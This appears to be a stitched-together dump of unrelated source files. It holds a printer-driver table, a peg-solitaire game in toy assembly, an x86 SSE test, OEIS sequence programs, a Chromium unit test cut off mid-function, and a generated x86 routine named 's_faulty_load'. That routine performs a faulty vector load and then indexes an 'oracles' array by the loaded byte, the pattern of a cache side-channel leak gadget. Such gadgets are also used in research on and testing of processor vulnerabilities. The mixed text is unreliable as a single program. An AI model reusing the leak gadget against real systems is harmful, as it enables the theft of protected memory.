offset geminilowRes,
NULL,
offset geminihiRes,
offset printerFontInfo:mx80draft,
offset printerFontInfo:mx80nlq,
; ---- Font Geometry -----------
offset geminifontGeometries,
; ---- PaperMargins ------------
< PR_MARGIN_LEFT, ; Tractor Margins
PR_MARGIN_TRACTOR,
PR_MARGIN_RIGHT,
PR_MARGIN_TRACTOR >,
< PR_MARGIN_LEFT, ; ASF Margins
PR_MARGIN_TOP,
PR_MARGIN_RIGHT,
PR_MARGIN_BOTTOM >,
; ---- PaperInputOptions -------
< 0,
MF_MANUAL1,
TF_TRACTOR1,
ASF_NO_TRAY >,
; ---- PaperOutputOptions ------
< OC_NO_COPIES,
PS_REVERSE,
OD_SIMPLEX,
SO_NO_STAPLER,
OS_NO_SORTER,
OB_NO_OUTPUTBIN >,
;
612, ; paper width (points).
NULL, ; Main UI
ASF0BinOptionsDialogBox, ; Options UI
PrintEvalASF0Bin ; UI eval Routine
>
;----------------------------------------------------------------------------
; Graphics modes info
;----------------------------------------------------------------------------
geminilowRes GraphicsProperties < LO_RES_X_RES, ; xres
LO_RES_Y_RES, ; yres
LO_RES_BAND_HEIGHT, ; band height
LO_RES_BUFF_HEIGHT, ; buffer height
LO_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_MONO, ;color format
NULL > ; color format
geminihiRes GraphicsProperties < HI_RES_X_RES, ; xres
HI_RES_Y_RES, ; yres
HI_RES_BAND_HEIGHT, ; band height
HI_RES_BUFF_HEIGHT, ; buffer height
HI_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_MONO, ;color format
NULL > ; color format
;----------------------------------------------------------------------------
; Text modes info
;----------------------------------------------------------------------------
;need to add geometries in ascending pointsize, grouped by font
geminifontGeometries FontGeometry \
< FID_DTC_URW_ROMAN,
12,
offset gemini_12ptpitchTab >
word FID_INVALID ;table terminator
gemini_12ptpitchTab label byte
byte TP_17_PITCH
byte TP_12_PITCH
byte TP_10_PITCH
byte TP_5_PITCH
byte TP_PROPORTIONAL ;"table Terminator"
geminiInfo ends
|
# stsamuel - 10/17/97
# hi-q in ant
# overall algorithm:
# init_board
# while (1) {
# draw_board
# possible_moves
# get_input
# if (is_legal_move)
# make_move
# }
# constants - stylistically, shd load them from memory
# and they are actually in .byte in case we had more instructions
# available
# lc r10, $bound2
# ld1 r10, r10, 0
# lc r11, $bound1
# ld1 r11, r11, 0
# lc r12, $max_len
# ld1 r12, r12, 0
# lc r13, $space
# ld1 r13, r13, 0
# lc r14, $peg
# ld1 r14, r14, 0
# lc r15, $hole
# ld1 r15, r15, 0
# but had to do direct lc's because we had instruction overflow
lc r10, 4 # bound2 - 1, needed bec we only have bgt
lc r11, 1 # bound1
lc r12, 7 # board max_len
lc r13, ' ' # space
lc r14, '*' # peg
lc r15, 'o' # hole
# init board in memory, 7x7 array
# basic algorithm:
# for (i=0;i<max_len;i++)
# for (j=0;j<max_len;j++)
# if (i>bound1 && (i<bound2))
# load_peg
# else if (j>bound1 && (j<bound2))
# load_peg
# else load_space
# load_hole
lc r2, 0 # init row ctr (i)
lc r3, 0 # init col ctr (j)
lc r4, $load_peg # load peg into current cell
lc r5, $load_space # load space into current cell
lc r6, $load_hole # finish of init_board, load hole into ctr
lc r8, $bound2_col_test # check if col >= bound2
lc r9, $inc_row # increment row number (& reset j to 0)
init_loop:
beq r6, r12, r2 # if row == len, end, load hole
lc r7, $bound2_row_test
bgt r7, r2, r11 # if row > boundary, test for row < bound2
init_col_test:
bgt r8, r3, r11 # if col > bound, test for < bound2
load_space:
# r7 = scratch reg for calculating memory index
mul r7, r2, r12 # array index == i*len + j
add r7, r7, r3
st1 r13, r7, 0 # put space into mem addr of r7
jmp $inc_col # increment j
bound2_col_test:
bgt r5, r3, r10 # if col > bound2 - 1, then we want a space
jmp $load_peg # otherwise, load a peg
bound2_row_test:
lc r7, $init_col_test
bgt r7, r2, r10 # if row > bound2 - 1, then test the col
jmp $load_peg
load_peg:
# r7 = scratch reg for calculating memory index
mul r7, r2, r12 # array index == i*len + j
add r7, r7, r3
st1 r14, r7, 0 # put peg
jmp $inc_col # inc ctr
inc_col:
inc r3, 1 # j++
lc r9, $inc_row
beq r9, r3, r12 # if j==len, inc_row and reset j
jmp $init_loop
inc_row:
inc r2, 1 # i++
lc r3, 0 # j=0
jmp $init_loop
load_hole:
# r3 holds 2 for division to get middle point of board
# r4 = middle point
# r5 = index into array for center point
lc r3, 2
div r4, r12, r3 # get middle point
mul r5, r4, r12 # array index == i*len + j
add r5, r5, r4
st1 r15, r5, 0 # put hole in center
# main loop
loop:
# draw board
# algorithm:
# quick loop to draw top line of numbers
# init counters and labels
# for (i=0;i<max_len;i++) {
# printf ("%d ", i);
# for (j=0;j<max_len;j++)
# printf ("%c ", board[i][j]);
# printf ("%d ", i);
# printf ("\n");
# }
# another loop to draw bottom line of numbers
lc r2, 0 # i
lc r3, $top_draw_loop
sys r13, 3 # print two spaces to start line
sys r13, 3
lc r5, '0' # load ascii constant for 0
top_draw_loop:
add r4, r2, r5 # get ASCII num for i
sys r4, 3 # draw col num
sys r13, 3 # then a space
inc r2, 1 # i++
bgt r3, r12, r2 # repeat loop while (len>i)
lc r7, '\n'
sys r7, 3
# init ctrs
# start first line with "0 "
lc r2, '0'
sys r2, 3
sys r13, 3
lc r2, 0 # i, row ctr
lc r3, 0 # j, col ctr
lc r4, $bottom_draw_loop_init
lc r8, $inc_d_row
draw_loop:
mul r5, r2, r12 # get array index
add r5, r5, r3
ld1 r5, r5, 0 # load char from array
sys r5, 3 # print char
sys r13, 3 # print space
inc r3, 1 # j++
beq r8, r3, r12 # if col==len, inc row and reset col
jmp $draw_loop
inc_d_row:
# print index num for this row
lc r5, '0'
add r5, r5, r2 # get ASCII num for current row
sys r5, 3 # print the number
sys r7, 3 # print newline at end of col
# then print index number for next row and a space
inc r2, 1 # i++
beq r4, r2, r12 # if row==len, move onto getting coords
lc r5, '0'
add r5, r5, r2 # get ASCII num for new row
sys r5, 3 # print number
sys r13, 3 # print space
lc r3, 0 # j=0
jmp $draw_loop
# quick loop to draw bottom line of nums
bottom_draw_loop_init:
lc r2, 0 # i
lc r3, $bottom_draw_loop
sys r13, 3 # print two spaces to start line
sys r13, 3
lc r5, '0'
bottom_draw_loop:
add r4, r2, r5 # get ASCII num for i
sys r4, 3 # draw col num
sys r13, 3 # then a space
inc r2, 1 # i++
bgt r3, r12, r2 # repeat loop while (len>i)
lc r7, '\n'
sys r7, 3
# check for stalemate or win
# use a simple algorithm: loop over array w/o bothering to exclude
# out of bounds. check for is_legal_move on each of the
# four potential landing spots (let is_legal_move sort out if the landing
# spot is not on the array). only concession to efficiency - if first
# check tells us that the current cell is not a peg, skip directly
# to next spot in array.
# note that we don't stash r4 and r5 by taking advantage of the
# fact that is_legal_move never modifies them
# note that for each of the four tests we re-use the check_move
# portion which actually does the work and then calls is_legal_move.
# how does check_move know where to return when it's done if it is
# jumped to from four different places? use a register which contains
# the appropriate PC to jump back to when it is done, which we can
# vary from each of the four entry points to check_move before jumping
# to check_move. the register used is r8.
# note we do the same thing when jumping to is_legal_move, except
# that we use r3 to hold the return address
possible_moves:
lc r4, 0 # i=0
lc r5, 0 # j=0
lc r10, 0 # num pegs on board
# we don't need r10 after initialization of bd, so use it as counter
# for number of pegs - if one peg, we get a win rather than stalemate
pm_loop:
# test1
lc r6, 2 # row offset for test1
lc r7, 0 # col offset for test1
lc r8, $cm_test2 # return addr for check_move is next test, test2
check_move:
lc r9, $cm_ra # get mem addr for cm_ra
st1 r8, r9, 0 # store return address bec otherwise is_legal_move
# will clobber it
add r6, r6, r4 # generate to_row by adding from_row to offset
add r7, r7, r5 # generate to_col by adding from_col to offset
lc r3, 2
# WARNING - semi-hack:
# store return address in r3, we get this by executing a guaranteed
# to fail branch in order to get the PC into r1
beq r6, r0, r3 # always fails, hack to get PC into r1
# why PC+2? because this add is == PC, but we want to come back to
# the instruction after the jmp, which will move on with the code,
# therefore PC+2
add r3, r1, r3 # set return addr
# r2 = return value (0 or 1) indicating legality of move
# NOTE - 0 INDICATES SUCCESS, NOT FAILURE, OF MOVE
# THIS IS BECAUSE DIFFERENT POSITIVE VALUES WILL INDICATE
# DIFFERENT TYPES OF FAILURE
jmp $is_legal_move
lc r8, $pm_inc
lc r3, 2 # return code for non-peg in "from"
beq r8, r3, r2 # if "from" not peg, then skip rest of comps and inc
lc r8, $get_coords
beq r8, r0, r2 # if successful, no stalemate, keep playing
# recover return addr of check_move from memory
lc r8, $cm_ra
ld1 r8, r8, 0
beq r8, r0, r0 # jmp to return addr
cm_test2:
inc r10, 1 # if we got here, there is a peg in this index
lc r6, -2 # row offset
lc r7, 0 # col offset
lc r8, $cm_test3
jmp $check_move
cm_test3:
lc r6, 0 # row offset
lc r7, 2 # col offset
lc r8, $cm_test4
jmp $check_move
cm_test4:
lc r6, 0 # row offset
lc r7, -2 # col offset
lc r8, $pm_inc
jmp $check_move
pm_inc:
inc r5, 1 # j++
lc r9, $pm_inc_row
beq r9, r12, r5 # if j==max, then inc row
jmp $pm_loop
pm_inc_row:
inc r4, 1 # i++
lc r3, $stalemate
beq r3, r4, r12 # if we got to end without a move, then stalemate
lc r5, 0 # j=0
jmp $pm_loop
get_coords:
lc r4, '\n' # print newline
sys r4, 3
lc r4, $fr # print from_row prompt
sys r4, 4
sys r4, 5 # get from_row
lc r5, $fc # print from_col prompt
sys r5, 4
sys r5, 5 # get from_col
lc r6, -1
lc r7, $check_col
beq r7, r4, r6 # if row == -1, also check for col == -1
c_get_coords:
lc r6, $tr # print to_row prompt
sys r6, 4
sys r6, 5 # get to_row
lc r7, $tc # print to_col prompt
sys r7, 4
sys r7, 5 # get to_col
lc r8, '\n'
sys r8, 3 # print newline
# now, call is_legal_move and if move is legal, make_move
# WARNING - semi-hack:
# store return address in r3, we get this by executing a guaranteed
# to fail branch in order to get the PC into r1
lc r2, 2
beq r2, r2, r0 # will always fail
add r3, r1, r2 # stash PC+2 (return address) in r3
# why PC+2? because this add is == PC, but we want to come back to
# the instruction after the jmp, which will move on with the code,
# therefore PC+2
jmp $is_legal_move
# r8 = return value holding index of "center" cell of move
# r2 = return value indicating success of move (0 for success)
lc r3, 0
lc r9, $make_move
beq r9, r2, r3 # if move legal, then make move
jmp $not_legal # else illegal move
check_col:
lc r7, $exit
beq r7, r5, r6 # if col also == -1, exit
jmp $c_get_coords
# are the four coords inside the array bounds?
# if 0 > coord or coord > len-1, then coord out of bounds
# args: r3 = return addr
# r4 = from row
# r5 = from col
# r6 = to row
# r7 = to col
# note r2 is return value, so must hold correct val before returning
# return codes:
# 0 = legal
# 1 = illegal coords (either out of bounds, or "to" wrong dist from "from"
# 2 = "from" not a peg
# 3 = "to" not a hole
# 4 = "center" not a peg
is_legal_move:
# check that peg is in "from" cell, must make this check first!
# (because of way peg counting is done in possible_moves)
# if it's a hole, then illegal
# r9 = array index of from cell
mul r9, r4, r12 # get from index == i*len + j
add r9, r9, r5
ld1 r9, r9, 0 # get the char
lc r2, 2 # load failure code for "from" != peg
beq r3, r9, r15 # if "from" cell == hole, then illegal
beq r3, r9, r13 # if char == space, move is illegal, return
# now check for everything else
lc r2, 1 # if any of these eval to false, must return 1
lc r9, 1
sub r9, r12, r9 # get max_len - 1
bgt r3, r0, r4 # check from_row > -1
bgt r3, r4, r9 # check from_row < max_len
bgt r3, r0, r5 # check from_col > -1
bgt r3, r5, r9 # check from_row < max_len
bgt r3, r0, r6 # check to_row > -1
bgt r3, r6, r9 # check to_row < max_len
bgt r3, r0, r7 # check to_col > -1
bgt r3, r4, r9 # check to_col < max_len
# if "to" cell == space , then move is illegal
mul r9, r6, r12 # get from index == i*len + j
add r9, r9, r7
ld1 r9, r9, 0 # get the char
lc r2, 3 # failure return code
beq r3, r9, r13 # if char == space, move is illegal
# check that either abs(to_row - from_row) = 2 && abs(to_col - from_col) == 0
# or vice versa - this checks that "to" cell is two spots away in one of
# the four cardinal directions
# note, we're re-using constant r11 which is no longer needed
sub r11, r4, r6 # r8 = from_row - to_row
lc r9, $col_zero
lc r8, 2
lc r2, 1
beq r9, r11, r8 # if row diff == 2, then check col diff == 0
lc r8, -2
beq r9, r11, r8 # if row diff == -2, then check col diff == 0
lc r9, $col_two
beq r9, r11, r0 # if row diff == 0, then check col diff == 2 or -2
beq r3, r0, r0 # move is illegal, return
# check that col diff == 0 (row diff known to be +/- 2)
col_zero:
lc r9, $legal_chars
sub r2, r5, r7 # r2 = from_col - to_col
beq r9, r0, r2 # if col diff == 0, then legal
lc r2, 1
beq r3, r0, r0 # move is illegal, return
# check that col diff == 2 or -2 (row diff known to be zero)
col_two:
lc r9, $legal_chars
sub r2, r5, r7 # r2 = from_col - to_col
lc r8, 2
beq r9, r8, r2 # if col diff == 2, then legal
lc r8, -2
beq r9, r8, r2 # if col diff == -2, then legal
lc r2, 1
beq r3, r0, r0 # move is illegal, return
# now, check other correct chars: peg in 'middle' cell and hole in "to" cell
# note that in the following checks i take advantage of the fact
# that both cells are known to be in bounds, and therefore can
# only contain a peg or a hole
legal_chars:
# check that hole is in "to" cell
# r9 = array index of "to" cell
mul r9, r6, r12 # get from index == i*len + j
add r9, r9, r7
ld1 r9, r9, 0 # get the char
lc r2, 3
beq r3, r9, r14 # if "to" cell == peg, then illegal
# get coords of center cell and check that it's a peg
sub r2, r4, r6 # r2 = from_row - to_row
lc r9, -2
div r2, r2, r9 # r2 = diff / -2, is proper row offset from "from" cell
sub r8, r5, r7 # r8 = from_col - to_col
div r8, r8, r9 # same thing for col offset
add r2, r2, r4 # row coord for center cell
add r9, r8, r5 # col coord for center cell
# r8 = array index of from cell
mul r8, r2, r12 # get from index == i*len + j
add r8, r8, r9
ld1 r9, r8, 0 # get the char
lc r2, 4 # load failure code for center cell
beq r3, r9, r15 # if "center" cell == hole, then illegal
lc r2, 0 # load success code
beq r3, r0, r0 # move is legal, return
not_legal:
lc r9, $illegal
sys r9, 4 # print illegal move msg
jmp $loop
# make the move
# r8 still holds index of center, so make it a hole
make_move:
st1 r15, r8, 0 # put hole in "center" cell
# r2 = array index of from cell
mul r2, r4, r12 # get from index == i*len + j
add r2, r2, r5
st1 r15, r2, 0 # put hole in from cell
# r2 = array index of "to" cell
mul r2, r6, r12 # get from index == i*len + j
add r2, r2, r7
st1 r14, r2, 0 # put peg in "to" cell
jmp $loop
stalemate:
lc r2, $stalemsg
lc r3, 1
lc r4, $win
beq r4, r3, r10 # if num pegs == 1, then give a win msg
sys r2, 4
jmp $exit
win:
lc r2, $winmsg
sys r2, 4
exit:
lc r2, $bye
sys r2, 4
sys r0, 0
_data_:
# to leave enough space for the board
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
.byte 0,0,0,0,0,0,0,0
fr: .byte 'f','r','o','m',' ','r','o','w'
.byte ':',' ',0
fc: .byte 'f','r','o','m',' ','c','o','l'
.byte ':',' ',0
tr: .byte 't','o',' ','r','o','w',':',' '
.byte 0
tc: .byte 't','o',' ','c','o','l',':',' '
.byte 0
bye: .byte 'b','y','e','\n',0
illegal: .byte 'i','l','l','e','g','a','l','!'
.byte '\n', 0
space: .byte ' '
hole: .byte 'o'
peg: .byte '*'
max_len: .byte 7 # array length
bound1: .byte 1 # bound1 for out of bounds checking
bound2: .byte 4 # bound2 - 1, bec we have to use bgt
stalemsg: .byte 's','t','a','l','e','m','a','t'
.byte 'e', '!', '\n', 0
winmsg: .byte 'w','i','n','!','\n',0
cm_ra: .byte ' ' # to hold return address for check_moves
|
%ifdef CONFIG
{
"RegData": {
"XMM0": ["0xbff0000000000000", "0x4008000000000000"],
"XMM1": ["0xbff0000000000000", "0x4008000000000000"],
"XMM2": ["0x3ff0000000000000", "0x4008000000000000"],
"XMM3": ["0x3ff0000000000000", "0x4008000000000000"]
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x3FF0000000000000
mov [rdx + 8 * 0], rax
mov rax, 0x3FF0000000000000
mov [rdx + 8 * 1], rax
mov rax, 0x4000000000000000
mov [rdx + 8 * 2], rax
mov rax, 0x4000000000000000
mov [rdx + 8 * 3], rax
mov rax, 0x4000000000000000
mov [rdx + 8 * 4], rax
mov rax, 0x4000000000000000
mov [rdx + 8 * 5], rax
mov rax, 0x3FF0000000000000
mov [rdx + 8 * 6], rax
mov rax, 0x3FF0000000000000
mov [rdx + 8 * 7], rax
movapd xmm0, [rdx]
addsubpd xmm0, [rdx + 8 * 2]
movapd xmm1, [rdx]
movapd xmm2, [rdx + 8 * 2]
addsubpd xmm1, xmm2
movapd xmm2, [rdx + 8 * 4]
addsubpd xmm2, [rdx + 8 * 6]
movapd xmm3, [rdx + 8 * 4]
movapd xmm4, [rdx + 8 * 6]
addsubpd xmm3, xmm4
hlt
|
; A052591: E.g.f. x/((1-x)(1-x^2)).
; 0,1,2,12,48,360,2160,20160,161280,1814400,18144000,239500800,2874009600,43589145600,610248038400,10461394944000,167382319104000,3201186852864000
gcd $1,$0
mov $2,1
add $2,$0
div $2,2
fac $1
mul $1,$2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x180ec, %r8
nop
nop
nop
nop
nop
xor %r13, %r13
mov (%r8), %di
nop
nop
nop
cmp $53534, %r13
lea addresses_normal_ht+0x1e594, %rsi
lea addresses_normal_ht+0x3804, %rdi
clflush (%rsi)
nop
nop
nop
sub $14698, %rdx
mov $79, %rcx
rep movsq
dec %rdi
lea addresses_D_ht+0xa76c, %rcx
nop
nop
nop
nop
and %rbp, %rbp
movb (%rcx), %dl
nop
xor $10427, %r13
lea addresses_D_ht+0x1736c, %rcx
nop
nop
cmp %r8, %r8
movw $0x6162, (%rcx)
nop
nop
nop
nop
dec %rsi
lea addresses_WT_ht+0x42ec, %rsi
and $712, %rdi
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x1ae6c, %rsi
lea addresses_A_ht+0x14a6c, %rdi
nop
xor %r11, %r11
mov $81, %rcx
rep movsq
nop
nop
nop
nop
dec %r11
lea addresses_A_ht+0x1591c, %rsi
lea addresses_WC_ht+0x9a6c, %rdi
nop
nop
nop
nop
add %r13, %r13
mov $44, %rcx
rep movsw
xor %r13, %r13
lea addresses_WC_ht+0x7a6c, %rsi
lea addresses_D_ht+0xaadd, %rdi
nop
nop
cmp %r13, %r13
mov $49, %rcx
rep movsl
nop
nop
nop
and $51964, %rsi
lea addresses_WT_ht+0xf66c, %rsi
lea addresses_WT_ht+0x1e8ec, %rdi
cmp %r8, %r8
mov $78, %rcx
rep movsq
xor %rbp, %rbp
lea addresses_normal_ht+0x1366c, %rcx
nop
and $32694, %rdi
movb $0x61, (%rcx)
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x118cc, %rdi
nop
and %rsi, %rsi
movb $0x61, (%rdi)
nop
and %rbp, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %rax
push %rbx
push %rdx
// Store
mov $0x26c, %r10
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, (%r10)
nop
nop
nop
nop
xor %r8, %r8
// Store
lea addresses_PSE+0xda6c, %r10
nop
nop
nop
nop
cmp %r14, %r14
movl $0x51525354, (%r10)
nop
add %r8, %r8
// Store
lea addresses_PSE+0xd768, %rax
nop
nop
nop
nop
cmp %rbx, %rbx
movl $0x51525354, (%rax)
nop
nop
nop
nop
xor $41445, %r10
// Store
lea addresses_UC+0x94ec, %rbx
nop
nop
add %rax, %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm4
movntdq %xmm4, (%rbx)
nop
dec %r8
// Faulty Load
lea addresses_RW+0x3a6c, %r10
nop
nop
sub %rax, %rax
vmovups (%r10), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
; A024719: a(n) = (1/3)*(2 + Sum_{k=0..n} C(3k,k)).
; 1,2,7,35,200,1201,7389,46149,291306,1853581,11868586,76380826,493606726,3201081874,20821158234,135776966762,887393271311,5811082966886,38119865826421,250447855600321,1647729357535486,10854207824989831,71581930485576631,472560922429972951,3122648143126315651,20652163856842613527,136695971500131951955,905455787334082286195,6001734332690445248699,39807356988366500834819,264185015157226557911507,1754261499178667381163251,11654844090184222851132056,77469486125218355926323287,515174414496933507853077962,3427407453452096680175684222,22811531354760465635858196077,151883530008974096020141785752,1011638906307778151885138159924,6740478426700408574082466647164,44926094508355463821785735611321,299531363070863108612479347376852,1997630185239050928860220733936977,13326341999123891369057464501346577,88925073264977665936674651554240577,593539525931661549960672219964980977
lpb $0
mov $2,$0
sub $0,1
mul $2,2
add $2,$0
bin $2,$0
add $1,$2
lpe
add $1,1
mov $0,$1
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/sync_file_system/drive_backend/callback_helper.h"
#include "base/bind.h"
#include "base/location.h"
#include "base/run_loop.h"
#include "base/single_thread_task_runner.h"
#include "base/test/task_environment.h"
#include "base/threading/thread.h"
#include "base/threading/thread_task_runner_handle.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace sync_file_system {
namespace drive_backend {
namespace {
void SimpleCallback(bool* called, int) {
ASSERT_TRUE(called);
EXPECT_FALSE(*called);
*called = true;
}
void CallbackWithPassed(bool* called, std::unique_ptr<int>) {
ASSERT_TRUE(called);
EXPECT_FALSE(*called);
*called = true;
}
void VerifyCalledOnTaskRunner(base::SingleThreadTaskRunner* task_runner,
bool* called) {
ASSERT_TRUE(called);
ASSERT_TRUE(task_runner);
EXPECT_TRUE(task_runner->RunsTasksInCurrentSequence());
EXPECT_FALSE(*called);
*called = true;
}
} // namespace
TEST(DriveBackendCallbackHelperTest, BasicTest) {
base::test::SingleThreadTaskEnvironment task_environment;
bool called = false;
RelayCallbackToCurrentThread(
FROM_HERE,
base::Bind(&SimpleCallback, &called)).Run(0);
EXPECT_FALSE(called);
base::RunLoop().RunUntilIdle();
EXPECT_TRUE(called);
called = false;
RelayCallbackToCurrentThread(FROM_HERE,
base::Bind(&CallbackWithPassed, &called))
.Run(std::unique_ptr<int>(new int));
EXPECT_FALSE(called);
base::RunLoop().RunUntilIdle();
EXPECT_TRUE(called);
}
TEST(DriveBackendCallbackHelperTest, RunOnOtherThreadTest) {
base::test::SingleThreadTaskEnvironment task_environment;
base::Thread thread("WorkerThread");
thread.Start();
scoped_refptr<base::SingleThreadTaskRunner> ui_task_runner =
